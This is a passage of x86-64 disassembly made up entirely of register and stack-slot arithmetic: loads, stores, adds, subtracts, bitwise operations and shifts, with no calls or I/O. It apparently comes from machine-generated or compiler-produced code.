movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x128], al
mov rax, qword [rsp + 0x6cd0]
mov rcx, qword [rsp + 0x6f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b18], eax
mov rax, qword [rsp + 0x5738]
mov eax, dword [rax]
mov dword [rsp + 0x2ea4], eax
mov rax, qword [rsp + 0x5a68]
mov rcx, qword [rsp + 0x5f40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6308]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b30]
mov qword [rsp + 0x7468], rax
mov rax, qword [rsp + 0x73c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe6]
and eax, ecx
mov rcx, qword [0x14017a310]
mov byte [rcx], al
mov rax, qword [rsp + 0x54c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xac8]
add eax, ecx
mov word [rsp + 0xa6c], ax
movzx eax, byte [rsp + 0xc7]
movzx ecx, byte [rsp + 0xb4]
sub eax, ecx
mov byte [rsp + 0x17b], al
lea rax, [0x14017a4d8]
mov qword [rsp + 0x7470], rax
mov rax, qword [rsp + 0x5630]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8a4]
sub eax, ecx
mov word [rsp + 0xb80], ax
mov rax, qword [rsp + 0x5a20]
mov rax, qword [rax]
mov qword [rsp + 0x7478], rax
mov rax, qword [rsp + 0x6348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d04]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c48]
mov qword [rsp + 0x7480], rax
mov rax, qword [rsp + 0x4f08]
mov ecx, dword [rsp + 0x2e88]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4f20]
mov dword [rcx], eax
movzx eax, word [rsp + 0x894]
mov rcx, qword [rsp + 0x6b40]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140178f78], ax
movzx eax, byte [rsp + 0x7d]
mov rcx, qword [rsp + 0x5e50]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xa4], al
lea rax, [rsp + 0x94c]
mov qword [rsp + 0x7488], rax
mov rax, qword [0x14017a340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ec0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x6400]
movzx eax, byte [rax]
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ae0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5268], rax
mov rax, qword [rsp + 0x4bf8]
mov ecx, dword [rsp + 0x2df8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ce0], eax
mov rax, qword [rsp + 0x6bd8]
mov eax, dword [rax]
mov dword [rsp + 0x2ea8], eax
mov rax, qword [rsp + 0x5b60]
mov rcx, qword [0x140178e60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5588], rax
movzx eax, word [rsp + 0xb44]
mov word [rsp + 0xcf0], ax
lea rax, [rsp + 0x94c]
mov qword [0x14017a590], rax
mov rax, qword [rsp + 0x7400]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov rcx, qword [rsp + 0x5ff0]
mov byte [rcx], al
mov rax, qword [rsp + 0x66b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x176]
sub eax, ecx
mov rcx, qword [rsp + 0x7260]
mov byte [rcx], al
movzx eax, byte [rsp + 0x56]
mov byte [rsp + 0x188], al
mov rax, qword [rsp + 0x7020]
mov rcx, qword [rsp + 0x6dc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6de8], rax
mov rax, qword [rsp + 0x7178]
mov eax, dword [rax]
mov dword [rsp + 0x2eac], eax
mov rax, qword [rsp + 0x58c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ea0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6270]
mov rcx, qword [rsp + 0x60e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5560], rax
mov rax, qword [0x14017a518]
movzx eax, word [rax]
mov word [rsp + 0xcf4], ax
mov rax, qword [rsp + 0x5e00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc54]
add eax, ecx
mov word [0x140178f1c], ax
mov rax, qword [rsp + 0x6878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x177]
sub eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x62e8]
movzx eax, word [rax]
mov word [rsp + 0xcf8], ax
movsx eax, word [rsp + 0x8b4]
movsx ecx, word [rsp + 0xb00]
add eax, ecx
mov word [rsp + 0xbe8], ax
lea rax, [rsp + 0x6a60]
mov qword [rsp + 0x7490], rax
mov rax, qword [rsp + 0x5408]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2cd4]
shl eax, cl
mov rcx, qword [rsp + 0x5238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c40]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b30]
shr rax, cl
mov rcx, qword [rsp + 0x6d28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6fb8]
mov eax, dword [rax]
mov dword [rsp + 0x2eb0], eax
mov rax, qword [0x14017a2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x106]
xor eax, ecx
mov rcx, qword [rsp + 0x6628]
mov byte [rcx], al
lea rax, [rsp + 0xb40]
mov qword [0x14017a598], rax
movzx eax, word [rsp + 0xb18]
mov word [rsp + 0xcfc], ax
movsx eax, byte [rsp + 0x149]
mov rcx, qword [0x14017a310]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x5598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x169]
and eax, ecx
mov rcx, qword [rsp + 0x6aa8]
mov byte [rcx], al
lea rax, [rsp + 0x6bb8]
mov qword [rsp + 0x7498], rax
mov rax, qword [rsp + 0x51d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5550]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x64c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x73f8]
mov eax, dword [rax]
mov dword [rsp + 0x2eb4], eax
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x5388]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6768]
mov dword [rcx], eax
movsx eax, byte [0x14017a0e3]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov rcx, qword [rsp + 0x68f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x91c]
movzx ecx, word [rsp + 0x9f4]
sub eax, ecx
mov word [0x140178f64], ax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x74a0], rax
mov rax, qword [0x14017a068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce8]
sub eax, ecx
mov word [rsp + 0x970], ax
lea rax, [rsp + 0xb7]
mov qword [rsp + 0x74a8], rax
mov rax, qword [rsp + 0x6280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x107]
and eax, ecx
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
lea rax, [0x140178e8c]
mov qword [rsp + 0x74b0], rax
mov rax, qword [rsp + 0x6b50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6070]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5f88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2da0]
mov ecx, dword [rsp + 0x2a90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c84], eax
mov rax, qword [rsp + 0x6178]
mov rax, qword [rax]
mov qword [rsp + 0x74b8], rax
mov rax, qword [rsp + 0x6ba8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xad4]
sub eax, ecx
mov word [str._v_], ax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x5318]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6560]
mov byte [rcx], al
mov rax, qword [rsp + 0x5fc8]
movzx eax, word [rax]
mov word [rsp + 0xd00], ax
movzx eax, word [rsp + 0x978]
movzx ecx, word [rsp + 0x918]
or eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x118]
movzx ecx, byte [rsp + 0x8a]
xor eax, ecx
mov byte [rsp + 0xea], al
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0x74c0], rax
mov eax, dword [rsp + 0x2ce8]
movzx ecx, al
mov eax, dword [rsp + 0x2db4]
shl eax, cl
mov dword [rsp + 0x2de4], eax
mov eax, dword [rsp + 0x2ad0]
mov dword [rsp + 0x2eb8], eax
mov rax, qword [rsp + 0x7320]
mov rcx, qword [rsp + 0x6638]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
lea rax, [rsp + 0xbb8]
mov qword [0x14017a5a0], rax
mov rax, qword [rsp + 0x6cd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x57a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x70b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5630]
movzx eax, word [rax]
mov word [rsp + 0xd04], ax
mov rax, qword [rsp + 0x7470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5d78]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6bd0]
mov word [rcx], ax
lea rax, [rsp + 0x136]
mov qword [rsp + 0x74c8], rax
mov rax, qword [rsp + 0x53e0]
mov rcx, qword [rsp + 0x5f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e6c], eax
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x6ba0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2e7c]
mov dword [rsp + 0x2ebc], eax
mov rax, qword [rsp + 0x5838]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6598]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ad8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f70], ax
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0x189], al
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5b18]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x123], al
mov rax, qword [rsp + 0x5e38]
movzx eax, byte [rax]
mov byte [rsp + 0x18a], al
movsx eax, word [rsp + 0xc08]
movsx ecx, word [rsp + 0xc0c]
sub eax, ecx
mov rcx, qword [rsp + 0x6d40]
mov word [rcx], ax
mov rax, qword [rsp + 0x6418]
mov rcx, qword [rsp + 0x5458]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x52a8]
mov qword [rcx], rax
lea rax, [rsp + 0x2ea4]
mov qword [rsp + 0x74d0], rax
mov rax, qword [rsp + 0x55b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x72f8]
mov qword [rsp + 0x74d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x74d8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4e80]
mov dword [rcx], eax
lea rax, [rsp + 0x7080]
mov qword [rsp + 0x74e0], rax
lea rax, [rsp + 0x9e0]
mov qword [0x14017a5a8], rax
mov rax, qword [rsp + 0x6518]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9c]
sar eax, cl
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
movsx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5d40]
mov byte [rcx], al
movzx eax, word [rsp + 0xbb4]
mov word [rsp + 0xd08], ax
movsx eax, word [rsp + 0xc88]
mov rcx, qword [rsp + 0x7398]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5208]
mov word [rcx], ax
lea rax, [0x14017a064]
mov qword [rsp + 0x74e8], rax
mov rax, qword [rsp + 0x6060]
mov rcx, qword [rsp + 0x4f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6980]
mov rcx, qword [rsp + 0x6548]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x55a8], rax
mov rax, qword [0x140178e78]
mov qword [rsp + 0x74f0], rax
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [rsp + 0x8e]
add eax, ecx
mov byte [0x140178edb], al
movzx eax, word [rsp + 0xa4c]
movzx ecx, word [0x140178f08]
sub eax, ecx
mov rcx, qword [rsp + 0x5ab8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7d]
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x5e18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8e8], ax
movzx eax, word [rsp + 0x8e0]
movzx ecx, word [rsp + 0xba8]
add eax, ecx
mov word [rsp + 0x9b4], ax
mov rax, qword [rsp + 0x5b60]
mov rax, qword [rax]
mov qword [rsp + 0x74f8], rax
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x7358]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6670], rax
mov rax, qword [rsp + 0x65c0]
mov eax, dword [rax]
mov dword [rsp + 0x2ec0], eax
mov eax, dword [rsp + 0x2cf4]
mov ecx, dword [rsp + 0x2d14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c8c], eax
mov rax, qword [rsp + 0x5c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbd]
and eax, ecx
mov byte [0x140178ee3], al
lea rax, [rsp + 0x161]
mov qword [rsp + 0x7500], rax
movsx eax, word [0x140178ebc]
mov rcx, qword [rsp + 0x5630]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa9c], ax
movzx eax, word [rsp + 0x8d8]
mov rcx, qword [rsp + 0x7338]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xcd8], ax
lea rax, [rsp + 0xfb]
mov qword [rsp + 0x7508], rax
mov rax, qword [rsp + 0x7438]
mov rcx, qword [rsp + 0x6da8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x53b8]
mov dword [rcx], eax
lea rax, [rsp + 0x57c8]
mov qword [rsp + 0x7510], rax
mov eax, dword [rsp + 0x2d68]
mov ecx, dword [rsp + 0x2a80]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5cb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x5678]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x66c8], rax
mov rax, qword [rsp + 0x5868]
movzx eax, word [rax]
mov word [0x14017a5b0], ax
mov rax, qword [rsp + 0x6b20]
movzx eax, byte [rax]
mov byte [rsp + 0x18c], al
movzx eax, word [rsp + 0x9a4]
mov rcx, qword [rsp + 0x7278]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb4c], ax
lea rax, [rsp + 0x76]
mov qword [rsp + 0x7518], rax
mov rax, qword [rsp + 0x62f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xae]
and eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x7118]
mov rcx, qword [0x140178e60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68e0], rax
mov rax, qword [rsp + 0x6690]
mov eax, dword [rax]
mov dword [rsp + 0x2ec4], eax
mov rax, qword [rsp + 0x5680]
mov ecx, dword [rsp + 0x2b04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a54], eax
mov rax, qword [str.kD3]
mov qword [rsp + 0x7520], rax
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xafc]
add eax, ecx
mov word [rsp + 0xa88], ax
mov rax, qword [rsp + 0x60c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14017a4dc], ax
mov rax, qword [rsp + 0x7360]
movzx eax, byte [rax]
mov byte [rsp + 0x18d], al
movsx eax, byte [rsp + 0x13b]
movsx ecx, byte [rsp + 0x14c]
sub eax, ecx
mov rcx, qword [rsp + 0x73c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x914]
mov rcx, qword [rsp + 0x5660]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa50], ax
mov eax, dword [rsp + 0x2c9c]
mov dword [rsp + 0x2ec8], eax
mov rax, qword [rsp + 0x6868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5b88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7440], rax
lea rax, [rsp + 0x5180]
mov qword [rsp + 0x7528], rax
mov eax, dword [rsp + 0x2d3c]
mov ecx, dword [0x140178e8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b90], eax
movsx eax, word [rsp + 0xd00]
mov rcx, qword [rsp + 0x7120]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5a08]
mov word [rcx], ax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8f]
xor eax, ecx
mov byte [0x140178ec3], al
lea rax, [rsp + 0xa90]
mov qword [rsp + 0x7530], rax
mov rax, qword [rsp + 0x66f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x65b8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6fa0]
mov byte [rcx], al
lea rax, [0x140178ea2]
mov qword [rsp + 0x7538], rax
mov eax, dword [rsp + 0x2d18]
mov ecx, dword [rsp + 0x2dc0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e80]
mov rcx, qword [rsp + 0x4ea0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x74b8], rax
mov rax, qword [0x14017a058]
mov qword [rsp + 0x7540], rax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5938]
mov dword [rcx], eax
mov rax, qword [rsp + 0x55e8]
movzx eax, word [rax]
mov word [rsp + 0xd0c], ax
movzx eax, word [rsp + 0x9b4]
mov rcx, qword [0x14017a0d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f7c], ax
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f10]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x6068]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5350]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x104], al
mov rax, qword [0x14017a510]
movzx eax, word [rax]
mov word [rsp + 0xd10], ax
mov rax, qword [rsp + 0x6360]
mov rcx, qword [rsp + 0x5c00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x56c0], rax
mov eax, dword [rsp + 0x2b18]
mov dword [rsp + 0x2ecc], eax
mov eax, dword [rsp + 0x2b64]
mov ecx, dword [0x140178e8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x5cf8]
mov qword [rsp + 0x7548], rax
mov rax, qword [rsp + 0x6b40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbac]
add eax, ecx
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
movsx eax, byte [0x14017a0e6]
movsx ecx, byte [rsp + 0xe1]
add eax, ecx
mov byte [reloc.SHELL32.dll_PathMakeUniqueName], al
movsx eax, word [rsp + 0x9ac]
movsx ecx, word [rsp + 0x8a0]
or eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x143]
mov byte [rsp + 0x18e], al
mov rax, qword [0x14017a480]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b]
xor eax, ecx
mov rcx, qword [rsp + 0x5cc8]
mov byte [rcx], al
movzx eax, word [rsp + 0x98c]
mov word [rsp + 0xd14], ax
mov rax, qword [rsp + 0x6de0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2e30]
sar eax, cl
mov rcx, qword [rsp + 0x72a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5570]
shl rax, cl
mov qword [rsp + 0x5610], rax
mov rax, qword [rsp + 0x6ba0]
mov qword [rsp + 0x7550], rax
mov rax, qword [rsp + 0x5310]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bb8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c08]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x142]
mov rcx, qword [rsp + 0x6be8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e75], al
mov rax, qword [rsp + 0x5248]
movzx eax, byte [rax]
mov byte [rsp + 0x18f], al
mov rax, qword [rsp + 0x5f00]
movzx eax, word [rax]
movzx ecx, word [0x14017a350]
add eax, ecx
mov word [rsp + 0x85c], ax
movsx eax, word [rsp + 0x90c]
mov rcx, qword [rsp + 0x5d50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x65c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x17b]
mov byte [rsp + 0x190], al
mov rax, qword [rsp + 0x73a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x55a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6670], rax
lea rax, [rsp + 0x6d30]
mov qword [rsp + 0x7558], rax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x6810]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ac8], eax
lea rax, [rsp + 0x2a54]
mov qword [rsp + 0x7560], rax
movzx eax, word [0x14017a0e0]
mov word [0x14017a5b4], ax
mov rax, qword [rsp + 0x55c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x900]
sub eax, ecx
mov rcx, qword [rsp + 0x6a50]
mov word [rcx], ax
mov rax, qword [rsp + 0x5bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7260]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5fa0]
mov byte [rcx], al
lea rax, [rsp + 0x9a4]
mov qword [rsp + 0x7568], rax
movsx eax, byte [rsp + 0xfc]
mov rcx, qword [rsp + 0x7188]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
lea rax, [rsp + 0x2bc4]
mov qword [rsp + 0x7570], rax
mov rax, qword [rsp + 0x6e98]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d88], rax
mov rax, qword [rsp + 0x7528]
mov rcx, qword [rsp + 0x6168]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6f20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6fd0]
mov eax, dword [rax]
mov dword [rsp + 0x2ed0], eax
movzx eax, byte [0x140178e77]
mov rcx, qword [rsp + 0x6610]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140178e74], al
movsx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x69], al
movzx eax, word [rsp + 0xb08]
mov word [rsp + 0xd18], ax
movzx eax, byte [0x140178e77]
movzx ecx, byte [rsp + 0x135]
or eax, ecx
mov byte [rsp + 0xe8], al
movzx eax, word [rsp + 0xb0c]
movzx ecx, word [rsp + 0xba8]
and eax, ecx
mov rcx, qword [rsp + 0x60b0]
mov word [rcx], ax
lea rax, [rsp + 0x7548]
mov qword [rsp + 0x7578], rax
mov eax, dword [rsp + 0x2eb8]
mov ecx, dword [0x14017a060]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5988]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b94]
mov dword [rsp + 0x2ed4], eax
mov rax, qword [rsp + 0x53f0]
mov rcx, qword [rsp + 0x4ec8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5288]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6490]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178ee7], al
movsx eax, word [rsp + 0xce0]
mov rcx, qword [rsp + 0x6320]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x924], ax
movzx eax, word [0x14017a4d8]
mov word [rsp + 0xd1c], ax
movsx eax, byte [rsp + 0xd7]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6b30]
mov byte [rcx], al
movzx eax, word [rsp + 0xb94]
mov word [rsp + 0xd20], ax
mov rax, qword [rsp + 0x4f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x65f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6250]
mov rax, qword [rax]
mov qword [rsp + 0x7580], rax
mov eax, dword [rsp + 0x2c80]
mov ecx, dword [rsp + 0x2c54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6590]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5518]
mov rcx, qword [0x14017a058]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5860]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov byte [0x140178eba], al
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
mov byte [rsp + 0x191], al
movzx eax, word [rsp + 0x978]
movzx ecx, word [rsp + 0x898]
shl eax, cl
mov word [rsp + 0x9fc], ax
mov rax, qword [rsp + 0x67d8]
movzx eax, word [rax]
mov word [rsp + 0xd24], ax
mov rax, qword [rsp + 0x6d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
xor eax, ecx
mov byte [rsp + 0xd3], al
mov rax, qword [rsp + 0x6058]
mov rax, qword [rax]
mov rcx, qword [str.kD3]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
lea rax, [rsp + 0x4d68]
mov qword [rsp + 0x7588], rax
mov rax, qword [rsp + 0x6640]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5200]
mov qword [rsp + 0x7590], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7590]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5db0]
mov dword [rcx], eax
lea rax, [rsp + 0x2da4]
mov qword [rsp + 0x7598], rax
movsx eax, word [rsp + 0xabc]
movsx ecx, word [rsp + 0xcec]
and eax, ecx
mov word [0x14017a488], ax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5bb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd4], al
mov rax, qword [rsp + 0x6c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
sub eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov word [rcx], ax
movzx eax, word [rsp + 0xbe4]
mov word [rsp + 0xd28], ax
mov rax, qword [rsp + 0x5b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x123]
add eax, ecx
mov byte [rsp + 0xe2], al
mov eax, dword [rsp + 0x2a4c]
mov dword [rsp + 0x2ed8], eax
mov rax, qword [rsp + 0x71a8]
mov rcx, qword [rsp + 0x7428]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x74b8], rax
mov rax, qword [rsp + 0x52a0]
mov rcx, qword [rsp + 0x7270]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5fe8], rax
lea rax, [rsp + 0x2bac]
mov qword [rsp + 0x75a0], rax
lea rax, [rsp + 0x8a8]
mov qword [0x14017a5b8], rax
mov rax, qword [rsp + 0x6d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16d]
sub eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov byte [rcx], al
lea rax, [rsp + 0xb2]
mov qword [rsp + 0x75a8], rax
mov rax, qword [rsp + 0x5630]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9e8]
and eax, ecx
mov rcx, qword [rsp + 0x6828]
mov word [rcx], ax
movzx eax, byte [rsp + 0x116]
mov byte [rsp + 0x192], al
mov rax, qword [rsp + 0x5f88]
mov rax, qword [rax]
